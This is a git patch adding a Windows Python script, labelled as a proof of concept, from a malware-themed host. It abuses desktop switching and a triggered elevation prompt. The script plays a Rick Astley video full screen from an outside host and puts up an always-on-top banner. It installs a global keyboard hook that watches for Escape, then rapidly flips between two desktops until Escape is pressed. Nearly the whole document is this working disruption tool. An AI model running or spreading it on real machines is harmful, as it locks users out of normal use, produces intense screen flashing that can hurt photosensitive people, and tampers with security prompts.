From 67c66d3c17ae9a6f4605cc2ef6f44a901688004c Mon Sep 17 00:00:00 2001 From: NJL <23+njl@noreply.git.churchofmalware.org> Date: Thu, 25 Jun 2026 14:59:26 +0000 Subject: [PATCH] Add main.py --- main.py | 171 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 main.py diff --git a/main.py b/main.py new file mode 100644 index 0000000..cf4c6f6 --- /dev/null +++ b/main.py @@ -0,0 +1,171 @@ +import ctypes +import ctypes.wintypes +import threading +import time +import subprocess +import os + +user32 = ctypes.windll.user32 +kernel32 = ctypes.windll.kernel32 +shell32 = ctypes.windll.shell32 +gdi32 = ctypes.windll.gdi32 + +user32.CallNextHookEx.restype = ctypes.c_long +user32.CallNextHookEx.argtypes = [ctypes.c_void_p, ctypes.c_int, + ctypes.wintypes.WPARAM, ctypes.c_void_p] +user32.SetWindowsHookExW.restype = ctypes.c_void_p +user32.CreateWindowExW.restype = ctypes.c_void_p + +stop = threading.Event() +hooks_ready = threading.Event() + +class KBDLLHOOKSTRUCT(ctypes.Structure): + _fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong), + ("flags", ctypes.c_ulong), ("time", ctypes.c_ulong), + ("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))] + +@ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p) +def kb_proc(nCode, wParam, lParam): + if nCode >= 0 and lParam: + kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0] + if kb.vkCode == 0x1B and not (kb.flags & 0x80): + stop.set() + return user32.CallNextHookEx(None, nCode, wParam, lParam) + +VIDEO_URL = "https://anondrop.net/1519715400626081836/Rick%20Astley%20-%20Never%20Gonna%20Give%20You%20Up%20(Official%20Video)%20(4K%20Remaster).mp4" + +h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None) +h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100) + +class SEI(ctypes.Structure): + _fields_ = [ + ("cbSize", ctypes.c_ulong), ("fMask", ctypes.c_ulong), + ("hwnd", ctypes.c_void_p), ("lpVerb", ctypes.c_wchar_p), + ("lpFile", ctypes.c_wchar_p), ("lpParameters", ctypes.c_wchar_p), + ("lpDirectory", ctypes.c_wchar_p), ("nShow", ctypes.c_int), + ("hInstApp", ctypes.c_void_p), ("lpIDList", ctypes.c_void_p), + ("lpClass", ctypes.c_wchar_p), ("hkeyClass", ctypes.c_void_p), + ("dwHotKey", ctypes.c_ulong), ("hIconOrMonitor", ctypes.c_void_p), + ("hProcess", ctypes.c_void_p), + ] + +def trigger(): + sei = SEI() + sei.cbSize = ctypes.sizeof(SEI) + sei.fMask = 0x00000040 + sei.lpVerb = "runas" + sei.lpFile = "cmd.exe" + sei.lpParameters = "/c exit" + sei.nShow = 0 + shell32.ShellExecuteExW(ctypes.byref(sei)) + if sei.hProcess: + kernel32.CloseHandle(sei.hProcess) + +user32.SwitchDesktop(h_poc) +threading.Thread(target=trigger, daemon=True).start() +time.sleep(0.05) +user32.SwitchDesktop(h_def) + +mpv_path = r"C:\Program Files\mpv\mpv.exe" +vlc_path = r"C:\Program Files\VideoLAN\VLC\vlc.exe" + +if os.path.exists(mpv_path): + subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"], + creationflags=0x08000000) +elif os.path.exists(vlc_path): + subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"], + creationflags=0x08000000) +else: + subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL], + shell=False, creationflags=0x08000000) + +WNDPROCTYPE = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p, + ctypes.c_uint, ctypes.wintypes.WPARAM, + ctypes.wintypes.LPARAM) +SW = user32.GetSystemMetrics(0) +SH = user32.GetSystemMetrics(1) +TEXT = "Press Escape to Quit" + +@WNDPROCTYPE +def wnd_proc(hwnd, msg, wp, lp): + if msg == 0x000F: + ps = ctypes.create_string_buffer(72) + hdc = user32.BeginPaint(hwnd, ps) + user32.SetBkColor(hdc, 0x00000000) + user32.SetTextColor(hdc, 0x000000FF) + hf = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial") + old = gdi32.SelectObject(hdc, hf) + gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT)) + gdi32.SelectObject(hdc, old) + gdi32.DeleteObject(hf) + user32.EndPaint(hwnd, ps) + return 0 + return user32.DefWindowProcW(hwnd, msg, wp, lp) + +def overlay_thread(): + hInstance = kernel32.GetModuleHandleW(None) + + class WNDCLASSW(ctypes.Structure): + _fields_ = [("style", ctypes.c_uint), ("lpfnWndProc", WNDPROCTYPE), + ("cbClsExtra", ctypes.c_int), ("cbWndExtra", ctypes.c_int), + ("hInstance", ctypes.c_void_p), ("hIcon", ctypes.c_void_p), + ("hCursor", ctypes.c_void_p), ("hbrBackground", ctypes.c_void_p), + ("lpszMenuName", ctypes.c_wchar_p), ("lpszClassName", ctypes.c_wchar_p)] + + wc = WNDCLASSW() + wc.lpfnWndProc = wnd_proc + wc.hInstance = hInstance + wc.hbrBackground = gdi32.CreateSolidBrush(0x00000000) + wc.lpszClassName = "RickEsc" + user32.RegisterClassW(ctypes.byref(wc)) + + hwnd = user32.CreateWindowExW( + 0x00000008 | 0x00000080, + "RickEsc", None, + 0x80000000 | 0x10000000, + 0, SH - 120, SW, 120, + None, None, hInstance, None + ) + user32.ShowWindow(hwnd, 5) + user32.UpdateWindow(hwnd) + + m = ctypes.wintypes.MSG() + while not stop.is_set(): + if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1): + user32.TranslateMessage(ctypes.byref(m)) + user32.DispatchMessageW(ctypes.byref(m)) + user32.SetWindowPos(hwnd, ctypes.c_void_p(-1), 0, SH - 120, SW, 120, 0x0010) + time.sleep(0.05) + user32.DestroyWindow(hwnd) + +def hook_thread(): + h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0) + hooks_ready.set() + m = ctypes.wintypes.MSG() + while not stop.is_set(): + if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1): + user32.TranslateMessage(ctypes.byref(m)) + user32.DispatchMessageW(ctypes.byref(m)) + time.sleep(0.0005) + user32.UnhookWindowsHookEx(h_kb) + +threading.Thread(target=hook_thread, daemon=False).start() +threading.Thread(target=overlay_thread, daemon=True).start() +hooks_ready.wait() + +def toggle(): + while not stop.is_set(): + user32.SwitchDesktop(h_poc) + user32.SwitchDesktop(h_def) + user32.SwitchDesktop(h_poc) + user32.SwitchDesktop(h_def) + user32.SwitchDesktop(h_poc) + user32.SwitchDesktop(h_def) + +threading.Thread(target=toggle, daemon=True).start() + +stop.wait() +time.sleep(0.1) +user32.SwitchDesktop(h_def) +user32.CloseDesktop(h_poc) +user32.CloseDesktop(h_def)